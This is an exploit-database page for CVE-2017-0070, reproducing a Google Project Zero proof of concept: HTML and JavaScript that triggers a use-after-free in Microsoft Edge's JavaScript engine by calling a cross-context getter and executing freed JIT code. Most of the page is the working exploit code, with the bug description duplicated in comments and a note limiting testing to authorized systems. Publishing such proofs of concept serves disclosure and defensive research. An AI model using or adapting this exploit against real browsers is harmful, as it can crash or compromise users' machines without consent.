Materialized exploit

CVE-2017-0070

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1043

I noticed that some javascript getters behave strangely.

My test code:

var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];

var f = document.createElement("iframe");

f.onload = () => {
    f.onload = null;

    for (var x in window) {
        if (whitelist.indexOf(x) != -1)
            continue;

        try {
            window.__lookupGetter__(x).call(f.contentWindow);
            log(x);
        } catch (e) {

        }
    }

};

f.src = "https://abc.xyz/";
document.body.appendChild(f);

And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.

Tested on Microsoft Edge 38.14393.0.0.
-->

<!--

Microsoft Edge: Undefined behavior on some getters

I noticed that some javascript getters behave strangely.

My test code:

var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];

var f = document.createElement("iframe");

f.onload = () => {
    f.onload = null;

    for (var x in window) {
        if (whitelist.indexOf(x) != -1)
            continue;

        try {
            window.__lookupGetter__(x).call(f.contentWindow);
            log(x);
        } catch (e) {

        }
    }

};

f.src = "https://abc.xyz/";
document.body.appendChild(f);

And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.

Tested on Microsoft Edge 38.14393.0.0.

-->


<pre id="d">
</pre>
<body></body>

<script>

function log(txt) {
    var c = document.createElement("div");
    c.innerText = "log: " + txt;
    d.appendChild(c);
}

function main() {
    var f = document.createElement("iframe");

    f.onload = () => {
        f.onload = () => {
            var status = window.__lookupGetter__("defaultStatus").call(f.contentWindow);
            var func_cons = status.constructor.constructor;

            var ff = func_cons("return 0x12345;");
            for (var i = 0; i < 0x100000; i++)
                ff();

            f.onload = () => {
                alert("get ready");
                ff();
            };

            f.src = "about:blank";
        };

        //a = f.contentWindow;
        f.src = "about:blank";
    };

    document.body.appendChild(f);
}

main();

</script>